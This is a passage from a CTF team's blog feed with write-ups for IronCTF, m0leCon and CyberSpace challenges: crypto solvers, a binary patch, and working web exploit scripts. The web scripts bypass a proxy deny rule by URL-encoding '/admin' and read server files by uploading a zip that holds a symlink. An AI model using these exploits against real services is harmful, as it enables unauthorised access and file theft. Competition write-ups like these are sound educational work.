    k *= gcd(e, phi/k)

d = inverse_mod(e, phi/k)

roots = [power_mod(a, phi/k, N) for a in range(1, 100)]

g = power_mod(c, d, N)

plaintexts = [r * g % N for r in roots]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the full solve script in sagemath.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p_, N, e, c = (78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693)

R.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(N))

lsb = (p_*2^200 + x).monic().small_roots(beta=0.4)
p = Integer(p_*2^200 + lsb[0])

assert is_prime(p)

q = N // p
phi = (p - 1) * (q - 1)

k = 1
while gcd(e, phi/k) != 1:
    k *= gcd(e, phi/k)

d = inverse_mod(e, phi/k)

roots = [power_mod(a, phi/k, N) for a in range(1, 100)]

g = power_mod(c, d, N)

plaintexts = [r * g % N for r in roots]

for pt in plaintexts:
    bs = pt.to_bytes(pt.bit_length() // 8 + 1)
    if b&apos;iron&apos; in bs:
        print(&apos;flag:&apos;, bs.decode())
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[ironCTF{@Un7_CaN_yoU_53Nd_me_THOS3_3xp@NSIon_5cREws}]&lt;/p&gt;
</content:encoded></item><item><title>IronCTF2024 | Loan App</title><link>https://bytethecookies.org/posts/ironctf2024-loan_app/</link><guid isPermaLink="true">https://bytethecookies.org/posts/ironctf2024-loan_app/</guid><description>One of the first web challenges solved in ctf, not very complex (at least the unintended solution)</description><pubDate>Sun, 06 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &apos;request smuggling&apos;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend.&lt;/p&gt;
&lt;p&gt;Solve intended: &lt;a href=&quot;https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/&quot;&gt;Something like this&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;We focus on the proxy config&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: file.py

global
    log stdout format raw local0
    maxconn 2000
    user root
    group root
    daemon

defaults
    log global
    option httplog
    timeout client 30s
    timeout server 30s
    timeout connect 30s

frontend http_front
    mode http
    bind :80
    acl is_admin path_beg /admin # Miss config
    http-request deny if is_admin # Miss config
    default_backend gunicorn

backend gunicorn
    mode http
    balance roundrobin
    server loanserver loanapp:8000 maxconn 32

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And win function&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: app.py

@app.route(&apos;/admin/loan/&amp;lt;loan_id&amp;gt;&apos;, methods=[&apos;POST&apos;])
def admin_approve_loan(loan_id):
    try:
        mongo.db.loan.update_one({&apos;_id&apos;: ObjectId(loan_id)}, {&apos;$set&apos;: {&apos;status&apos;: &apos;approved&apos;, &apos;message&apos;: FLAG}})
        return &apos;OK&apos;, 200
    except:
        return &apos;Internal Server Error&apos;, 500

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Comments added by me&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The solution is very simple: just read the source code, register and login, and create a loan. Once this is done, thanks to the &lt;code&gt;/admin/loan/id&lt;/code&gt; endpoint, the loan is approved by setting the flag&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3

import http
import requests
from uuid import uuid4
from bs4 import BeautifulSoup
import urllib3.util

BASE_URL = &quot;http://loanapp.1nf1n1ty.team/&quot;
s = requests.Session()

def login(username,password):
  r = s.post(BASE_URL + &quot;login&quot;, data={&quot;username&quot;: username, &quot;password&quot;: password})
  if r.status_code == 200:
    print(&quot;[+] Login successful&quot;)
  else:
    print(&quot;[-] Login failed: &quot; + r.text)
    exit(1)

def register(username,password):
  r = s.post(BASE_URL + &quot;register&quot;,data={&quot;username&quot;: username, &quot;password&quot;: password})
  if r.status_code == 200:
    print(&quot;[+] Registration successful&quot;)
  else:
    print(&quot;[-] Registration failed: &quot; + r.text)
    exit(1)


def loan_request():
  r = s.post(BASE_URL + &quot;loan-request&quot;, data={&quot;amount&quot;: &quot;696969696969696969&quot;, &quot;reason&quot;: &quot;I need money for cookies&quot;})
  if r.status_code == 200:
    print(&quot;[+] Loan request successful&quot;)
  else:
    print(&quot;[-] Loan request failed: &quot; + r.text)
    exit(1)

def get_loan_id():
  r = s.get(BASE_URL)
  soup = BeautifulSoup(r.text, &apos;html.parser&apos;)
  loan_id = soup.find(&quot;span&quot;, attrs={&quot;class&quot;:&quot;loan-id&quot;}).text.strip().split(&quot;: &quot;)[1]
  return loan_id

def exploit(loan_id):
  conn = http.client.HTTPConnection(urllib3.util.parse_url(BASE_URL).host)
  conn.request(&quot;POST&quot;, f&quot;/%61dmin/loan/{loan_id}&quot;) # Use http instead of requests for avoid auto url encoding of requests
  response = conn.getresponse()
  if response.status != 200:
    print(&quot;[-] Exploit failed&quot;)
    exit(1)

def get_flag():
  r = s.get(BASE_URL)
  soup = BeautifulSoup(r.text, &apos;html.parser&apos;)
  return soup.find(&quot;p&quot;, attrs={&quot;class&quot;: &quot;loan-message&quot;}).text.strip()[7:]

def main():
  username, password = uuid4(), uuid4()
  print(f&quot;Username: {username} Password: {password}&quot;)
  register(username,password)
  login(username,password)
  loan_request()
  loan_id = get_loan_id()
  print(f&quot;[+] Loan ID: {loan_id}&quot;)
  exploit(loan_id)
  print(f&quot;[+] Flag: {get_flag()}&quot;)


if __name__ == &quot;__main__&quot;:
  main()

# goodluck by @akiidjk

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[ironCTF{L04n_4ppr0v3d_f0r_H4ck3r$!!}]&lt;/p&gt;
</content:encoded></item><item><title>IronCTF2024 | Rivest, Shamir, Adleman 2</title><link>https://bytethecookies.org/posts/ironctf2024-rivest_shamir_adleman_2/</link><guid isPermaLink="true">https://bytethecookies.org/posts/ironctf2024-rivest_shamir_adleman_2/</guid><description>Little John has done his homework and tried fixing the issue in his script. Can you still find his secret.</description><pubDate>Sun, 06 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Rivest, Shamir, Adleman 2 was a crypto CTF from &lt;a href=&quot;https://ctftime.org/event/2497&quot;&gt;IRON CTF 2024&lt;/a&gt; organized by &lt;a href=&quot;https://ctftime.org/team/151859&quot;&gt;Team 1nf1n1ty&lt;/a&gt;.
It is meant as a sequel to Rivest, Shamir, Adleman 1.
We&apos;re not given a script that generates the parameters, simply the public key and the ciphertext.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;N&lt;/code&gt; is prime we can just calculate the &lt;code&gt;e&lt;/code&gt;-th roots of &lt;code&gt;c&lt;/code&gt; to find the plaintext(s)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;N, e, c = (161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365)

for m in GF(N)(c).nth_root(e, all=True):
    bs = bytes(Integer(m).digits(256)[::-1])
    if b&apos;iron&apos; in bs:
        print(&apos;flag:&apos;, bs[:bs.index(b&apos;}&apos;)+1].decode())
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[ironCTF{th15_TIme_You_c4Nt_f!ND_1t_hop3FUl1Y}]&lt;/p&gt;
</content:encoded></item><item><title>M0lecon2025teaser | Yet Another OT</title><link>https://bytethecookies.org/posts/m0lecon2025teaser-yetanotherot/</link><guid isPermaLink="true">https://bytethecookies.org/posts/m0lecon2025teaser-yetanotherot/</guid><description>Why do people always want to decrypt both messages?</description><pubDate>Sun, 15 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Disclaimer&lt;/h2&gt;
&lt;p&gt;I wasn&apos;t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out.&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Yet Another OT was a crypto CTF from &lt;a href=&quot;https://ctftime.org/event/2440&quot;&gt;m0leCon 2025&lt;/a&gt; hosted by &lt;a href=&quot;https://pwnthem0le.polito.it/&quot;&gt;pwnthem0le&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import random
from hashlib import sha256
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

random = random.SystemRandom()


def jacobi(a, n):
    if n &amp;lt;= 0:
        raise ValueError(&quot;&apos;n&apos; must be a positive integer.&quot;)
    if n % 2 == 0:
        raise ValueError(&quot;&apos;n&apos; must be odd.&quot;)
    a %= n
    result = 1
    while a != 0:
        while a % 2 == 0:
            a //= 2
            n_mod_8 = n % 8
            if n_mod_8 in (3, 5):
                result = -result
        a, n = n, a
        if a % 4 == 3 and n % 4 == 3:
            result = -result
        a %= n
    if n == 1:
        return result
    else:
        return 0


def sample(start, N):
    while jacobi(start, N) != 1:
        start += 1
    return start


class Challenge:
    def __init__(self, N):
        assert N &amp;gt; 2**1024
        assert N % 2 != 0
        self.N = N
        self.x = sample(int.from_bytes(sha256((&quot;x&quot;+str(N)).encode()).digest(), &quot;big&quot;), N)
        ts = []
        tts = []
        for _ in range(128):
            t = random.randint(1, self.N)
            ts.append(t)
            tts.append(pow(t, N, N))
        print(json.dumps({&quot;vals&quot;: tts}))
        self.key = sha256((&quot;,&quot;.join(map(str, ts))).encode()).digest()

    def one_round(self):
        z = sample(random.randint(1, self.N), self.N)
        r0 = random.randint(1, self.N)
        r1 = random.randint(1, self.N)

        m0, m1 = random.getrandbits(1), random.getrandbits(1)

        c0 = (r0**2 * (z)**m0) % self.N
        c1 = (r1**2 * (z*self.x)**m1) % self.N

        print(json.dumps({&quot;c0&quot;: c0, &quot;c1&quot;: c1}))
        data = json.loads(input())
        v0, v1 = data[&quot;m0&quot;], data[&quot;m1&quot;]
        return v0 == m0 and v1 == m1

    def send_flag(self, flag):
        cipher = AES.new(self.key, AES.MODE_ECB)
        ct = cipher.encrypt(pad(flag.encode(), 16))
        print(ct.hex())


FLAG = os.environ.get(&quot;FLAG&quot;, &quot;ptm{test}&quot;)

def main():
    print(&quot;Welcome to my guessing game!&quot;)
    N = int(input(&quot;Send me a number: &quot;))
    chall = Challenge(N)
    for _ in range(128):
        if not chall.one_round():
            exit(1)
    chall.send_flag(FLAG)


if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can remotely interact with this service to recover the flag.&lt;/p&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;Let&apos;s start with the functions:
&lt;code&gt;jacobi(a, n)&lt;/code&gt;
computes the &lt;a href=&quot;https://en.wikipedia.org/wiki/Jacobi_symbol&quot;&gt;Jacobi symbol&lt;/a&gt; of &lt;code&gt;a mod n&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sample(start, N)&lt;/code&gt;
returns the first &lt;code&gt;s &amp;gt;= start&lt;/code&gt; such that &lt;code&gt;sample(s, N) == 1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s look at the class &lt;code&gt;Challenge&lt;/code&gt; now:
&lt;code&gt;__init__(self, N)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;N&lt;/code&gt; is checked to be odd and greater than $2^{1024}$&lt;/li&gt;
&lt;li&gt;&lt;code&gt;self.x&lt;/code&gt; is generated from &lt;code&gt;sample(int.from_bytes(sha256((&quot;x&quot;+str(N)).encode()).digest(), &quot;big&quot;), N)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A loop generates 128 random private values &lt;code&gt;ts&lt;/code&gt; and their public counterpart &lt;code&gt;tts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;self.key&lt;/code&gt; is generated from &lt;code&gt;sha256((&quot;,&quot;.join(map(str, ts))).encode()).digest()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;one_round(self)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;z&lt;/code&gt; is generated from &lt;code&gt;sample(random.randint(1, self.N), self.N)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r0, r1&lt;/code&gt; are random integers in the range $[1, N]$&lt;/li&gt;
&lt;li&gt;&lt;code&gt;m0, m1&lt;/code&gt; are randomly chosen from ${0, 1}$&lt;/li&gt;
&lt;li&gt;$c_0 \equiv r_0^2 \cdot z^{m_0} \pmod N$&lt;/li&gt;
&lt;li&gt;$c_1 \equiv r_1^2 \cdot (z \cdot x)^{m_1} \pmod N$&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c0, c1&lt;/code&gt; are shared and the user has to correctly guess &lt;code&gt;m0, m1&lt;/code&gt; to continue to the next round&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;send_flag(self, flag)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;encrypts the flag with &lt;code&gt;AES&lt;/code&gt; using &lt;code&gt;self.key&lt;/code&gt; and sends it to the user&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The first objective is retrieving the &lt;code&gt;AES&lt;/code&gt; key, so from each &lt;code&gt;pow(t, N, N)&lt;/code&gt; I had to get &lt;code&gt;t&lt;/code&gt;.
My idea was to use &lt;a href=&quot;https://en.wikipedia.org/wiki/Fermat%27s_little_theorem&quot;&gt;Fermat&apos;s little theorem&lt;/a&gt;, therefore setting &lt;code&gt;N&lt;/code&gt; to be prime would make it so &lt;code&gt;tts == ts&lt;/code&gt;. This allows easy recovery of &lt;code&gt;self.key&lt;/code&gt; but it&apos;s also a grave mistake...
The second objective is guessing &lt;code&gt;m0&lt;/code&gt; and &lt;code&gt;m1&lt;/code&gt; 128 times in a row to finally get the encrypted flag and decrypt it with our key. The idea is to use theory about &lt;a href=&quot;https://en.wikipedia.org/wiki/Quadratic_residue&quot;&gt;quadratic residues&lt;/a&gt;, but this is where I got stuck: if &lt;code&gt;N&lt;/code&gt; is prime this is actually impossible as &lt;code&gt;sample&lt;/code&gt; will always generate a correct quadratic residue and therefore these two cases are indistinguishable&lt;/p&gt;
&lt;p&gt;$$
\begin{cases}
c_0 \equiv r_0^2 \cdot z \pmod N \
c_0 \equiv r_0^2 \pmod N
\end{cases}
$$&lt;/p&gt;
&lt;p&gt;After the end of the CTF I asked on discord for help on figuring out where I went wrong and some competitors who solved it kindly explained it to me.
The idea is to use a different value for &lt;code&gt;N&lt;/code&gt;.
Recovering the private key requires &quot;decrypting&quot; the public values which are encrypted using the usual &lt;a href=&quot;https://en.wikipedia.org/wiki/RSA_(cryptosystem)&quot;&gt;RSA&lt;/a&gt; method, we expect this to be hard without knowing the factorization of &lt;code&gt;N&lt;/code&gt;, but as we&apos;re the ones to choose it we can simply generate some primes, take their product and decrypting is easy as we have the factorization of &lt;code&gt;N&lt;/code&gt;.
Now that &lt;code&gt;N&lt;/code&gt; is composite &lt;code&gt;sample&lt;/code&gt; won&apos;t always generate quadratic residues mod &lt;code&gt;N&lt;/code&gt; (there is still a possibility but it&apos;s low enough to be ignored) so as soon as the &lt;a href=&quot;https://en.wikipedia.org/wiki/Legendre_symbol&quot;&gt;Legendre symbol&lt;/a&gt; of &lt;code&gt;c0&lt;/code&gt; for any of the prime factors of N isn&apos;t 1 we know we must be in the case where &lt;code&gt;m0 == 1&lt;/code&gt; (same goes for &lt;code&gt;c1&lt;/code&gt;and &lt;code&gt;m1&lt;/code&gt;).
After 128 rounds we are given the encrypted flag which we can just decrypt as we have the key.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Pwn4Sage.pwn import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import json, hashlib

r = remote(&apos;yaot.challs.m0lecon.it&apos;, 2844)

primes = [random_prime(2^(32), lbound=2^31) for _ in range(33)]
N = prod(primes)

assert N &amp;gt; 2^1024

phi = prod([p - 1 for p in primes])
d = inverse_mod(N, phi)

# Pwn4Sage doesn&apos;t have sendlineafter
r.sendafter(b&apos;number: &apos;, str(N).encode() + b&apos;\n&apos;)

tts = json.loads(r.recvline().rstrip())[&apos;vals&apos;]

ts = [pow(tt, d, N) for tt in tts]

key = hashlib.sha256((&quot;,&quot;.join(map(str, ts))).encode()).digest()

for _ in range(128):
    data = json.loads(r.recvline().rstrip())

    c0, c1 = data[&apos;c0&apos;], data[&apos;c1&apos;]

    m0 = int(any(legendre_symbol(c0, p) != 1 for p in primes))
    m1 = int(any(legendre_symbol(c1, p) != 1 for p in primes))

    payload = json.dumps({&apos;m0&apos;: m0, &apos;m1&apos;: m1}).encode()

    r.sendline(payload)

enc_flag = bytes.fromhex(r.recvline().rstrip().decode())

cipher = AES.new(key, AES.MODE_ECB)

flag = unpad(cipher.decrypt(enc_flag), 16).decode()

print(&apos;flag:&apos;, flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[ptm{t0_b3_0r_n07_t0_b3_4_qu4dr471c_r351du3?}]&lt;/p&gt;
</content:encoded></item><item><title>Cyberspace2024 | Snake</title><link>https://bytethecookies.org/posts/cyberspace2024-snake/</link><guid isPermaLink="true">https://bytethecookies.org/posts/cyberspace2024-snake/</guid><description>Can you slither to the win?</description><pubDate>Mon, 02 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Link to the binary&lt;/strong&gt;: &lt;a href=&quot;https://2024.csc.tf/files/263575efcd73ff01d2bf123993065b37/snake?token=eyJ1c2VyX2lkIjo3ODgsInRlYW1faWQiOjM5MCwiZmlsZV9pZCI6MTJ9.ZtWYng.7QVOp_u1X-NXMNS72mApiwM1GqU&quot;&gt;Elf file&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;We are faced with a binary file written in Rust (you can see it by simply running &lt;code&gt;strings snake | grep rustc&lt;/code&gt;) where we are made to play Snake, the goal is to get &lt;strong&gt;PRECISELY&lt;/strong&gt; to &lt;code&gt;16525&lt;/code&gt; points.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/snake/image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &apos;slower&apos; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i.e. the value that was added every time it ate a &lt;code&gt;#&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;In a short time I managed to find this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/snake/image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After some trial and error, changing the value from 0xa to 0xb, I find the line of code I need, which is the last one in the screenshot above.&lt;/p&gt;
&lt;p&gt;At this point I switch to the assembly and notice that my initial approach was wrong this is because I was putting too high a value in a register that it did not support in fact analysing the binary in assembly we see:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/snake/image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, before entering the constant into the dword register [rcx+0x7c], we first enter it into eax and if we enter too high a value, the programme simply crashes (as it should).&lt;/p&gt;
&lt;p&gt;So simply afterwards I chose to put the precise value in the correct register once I had made at least one point&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/snake/image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;(the nop are automatically inserted by binary ninja)&lt;/p&gt;
&lt;p&gt;In this way, once we have scored at least one point, we will have the flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/snake/image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag: :spoiler[CSCTF{Y0u_b34T_My_Sl1th3r_G4m3!}]&lt;/p&gt;
</content:encoded></item><item><title>Cyberspace2024 | Trendy Windy Trigonity</title><link>https://bytethecookies.org/posts/cyberspace2024-trendy_windy_trigonity/</link><guid isPermaLink="true">https://bytethecookies.org/posts/cyberspace2024-trendy_windy_trigonity/</guid><description>have you seen Tan challenge before? see maple version pi documentation!</description><pubDate>Mon, 02 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;trendy windy trigonity was a crypto CTF &lt;a href=&quot;https://ctftime.org/event/2428&quot;&gt;CyberSpace CTF 2024&lt;/a&gt; added during the second wave.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import bytes_to_long

flag = REDACTED
print(len(flag))

R = RealField(1000)
a, b = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:])
x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)

enc = a*cos(x)+b*sin(x)

# 38
# 2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The challenge uses sagemath to handle high precision floating point numbers, in this case a &lt;code&gt;RealField&lt;/code&gt; with 1000 bits of precision.
The idea behind the challenge is very simple: find a and b to retrieve the flag.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;enc&lt;/code&gt; is a linear combination of &lt;code&gt;cos(x)&lt;/code&gt; and &lt;code&gt;sin(x)&lt;/code&gt;, you know what that means: lattice.
Don&apos;t forget to scale by the precision as we are working with integers.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;R = RealField(1000)

x = R(0.75872961153339387563860550178464795474547887323678173252494265684893323654606628651427151866818730100357590296863274236719073684620030717141521941211167282170567424114270941542016135979438271439047194028943997508126389603529160316379547558098144713802870753946485296790294770557302303874143106908193100)
enc = R(2.78332652222000091147933689155414792020338527644698903976732528036823470890155538913578083110732846416012108159157421703264608723649277363079905992717518852564589901390988865009495918051490722972227485851595410047572144567706501150041757189923387228097603575500648300998275877439215112961273516978501e45)

scale = 2^1000

m = matrix(ZZ, [
    [1, 0, scale*cos(x)],
    [0, 1, scale*sin(x)],
    [0, 0, -scale*enc],
])

vec = m.LLL()[0]
a, b = vec[0], vec[1]

print(f&apos;flag: {(a.to_bytes(19) + b.to_bytes(19)).decode()}&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[CSCTF{Trigo_453_Tr3ndy_FuN_Th35e_D4Y5}]&lt;/p&gt;
</content:encoded></item><item><title>Cyberspace2024 | ZipZone</title><link>https://bytethecookies.org/posts/cyberspace2024-zipzone/</link><guid isPermaLink="true">https://bytethecookies.org/posts/cyberspace2024-zipzone/</guid><description>I was tired of trying to find a good file server for zip files, so I made my own! It&apos;s still a work in progress, but I think it&apos;s pretty good so far.</description><pubDate>Mon, 02 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;ZipZone is the only one web in the beginner&apos;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# filename: app.py

import logging
import os
import subprocess
import uuid

from flask import (
    Flask,
    abort,
    flash,
    redirect,
    render_template,
    request,
    send_from_directory,
)

app = Flask(__name__)
upload_dir = &quot;/tmp/&quot;

app.config[&quot;MAX_CONTENT_LENGTH&quot;] = 1 * 10**6  # 1 MB
app.config[&quot;SECRET_KEY&quot;] = os.urandom(32)


@app.route(&quot;/&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def upload():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;index.html&quot;)

    if &quot;file&quot; not in request.files:
        flash(&quot;No file part!&quot;, &quot;danger&quot;)
        return render_template(&quot;index.html&quot;)

    file = request.files[&quot;file&quot;]
    if file.filename.split(&quot;.&quot;)[-1].lower() != &quot;zip&quot;:
        flash(&quot;Only zip files allowed are allowed!&quot;, &quot;danger&quot;)
        return render_template(&quot;index.html&quot;)

    upload_uuid = str(uuid.uuid4())
    filename = f&quot;{upload_dir}raw/{upload_uuid}.zip&quot;
    file.save(filename)
    subprocess.call([&quot;unzip&quot;, filename, &quot;-d&quot;, f&quot;{upload_dir}files/{upload_uuid}&quot;])

    print(f&quot;Unzipped {filename} to {upload_dir}files/{upload_uuid}&quot;)

    flash(
        f&apos;Your file is at &amp;lt;a href=&quot;/files/{upload_uuid}&quot;&amp;gt;{upload_uuid}&amp;lt;/a&amp;gt;!&apos;, &quot;success&quot;
    )
    logging.info(f&quot;User uploaded file {upload_uuid}.&quot;)
    return redirect(&quot;/&quot;)


@app.route(&quot;/files/&amp;lt;path:path&amp;gt;&quot;)
def files(path):
    try:
        return send_from_directory(upload_dir + &quot;files&quot;, path)
    except PermissionError:
        abort(404)


@app.errorhandler(404)
def page_not_found(error):
    return render_template(&quot;404.html&quot;)


if __name__ == &quot;__main__&quot;:
    app.run(debug=True, host=&quot;0.0.0.0&quot;, port=5000)

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Being actually a web in the beginner category, I initially just gave a quick read to the source code, where in fact no checks are done on the files inside the zipper, but only on the zipper itself, where we see the extension is checked&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

#!/usr/bin/python3

import os
import subprocess
import requests
from bs4 import BeautifulSoup

BASE_URL = &quot;https://zipzone-web.challs.csc.tf&quot;
URL_HOOK = &quot;&quot;

def get_uuid(text):
  soup = BeautifulSoup(text, &apos;html.parser&apos;)
  for a in soup.find_all(&apos;a&apos;, href=True):
    if a[&apos;href&apos;]:
      return a[&apos;href&apos;].split(&apos;/&apos;)[-1]


def upload_file(file_path):
  with open(file_path, &quot;rb&quot;) as f:
    files = {&quot;file&quot;: f}
    response = requests.post(BASE_URL, files=files)
    return get_uuid(response.text)


def create_exploit(zip_filename:str,symlink_name:str,symlink_target:str):
    os.symlink(symlink_target, symlink_name)
    subprocess.run([&apos;zip&apos;, &apos;-y&apos;, zip_filename, symlink_name], check=True)
    print(f&apos;{zip_filename} created.&apos;)
    os.remove(symlink_name)

def get_flag(UUID):
  response = requests.get(f&apos;{BASE_URL}/files/{UUID}/evil_link&apos;,stream=True)
  if response.status_code == 200:
    with open(&quot;flag&quot;, &apos;wb&apos;) as f:
      for chunk in response.iter_content(chunk_size=8192):
        f.write(chunk)
    print(f&quot;Flag download successfully&quot;)
  else:
      print(f&quot;Error during the download: {response.status_code}&quot;)

  return open(&quot;flag&quot;, &quot;r&quot;).read().strip()

def clean():
    os.remove(&apos;exploit.zip&apos;)
    os.remove(&apos;flag&apos;)

def main():
  create_exploit(zip_filename=&apos;exploit.zip&apos;,symlink_name=&apos;evil_link&apos;,symlink_target=&apos;/home/user/flag.txt&apos;)
  UUID = upload_file(&apos;./exploit.zip&apos;)
  print(f&apos;UUID: {UUID}&apos;)
  flag = get_flag(UUID)
  print(f&quot;Flag: {flag}&quot;)
  clean()

if __name__ == &quot;__main__&quot;:
  main()

# goodluck by @akiidjk

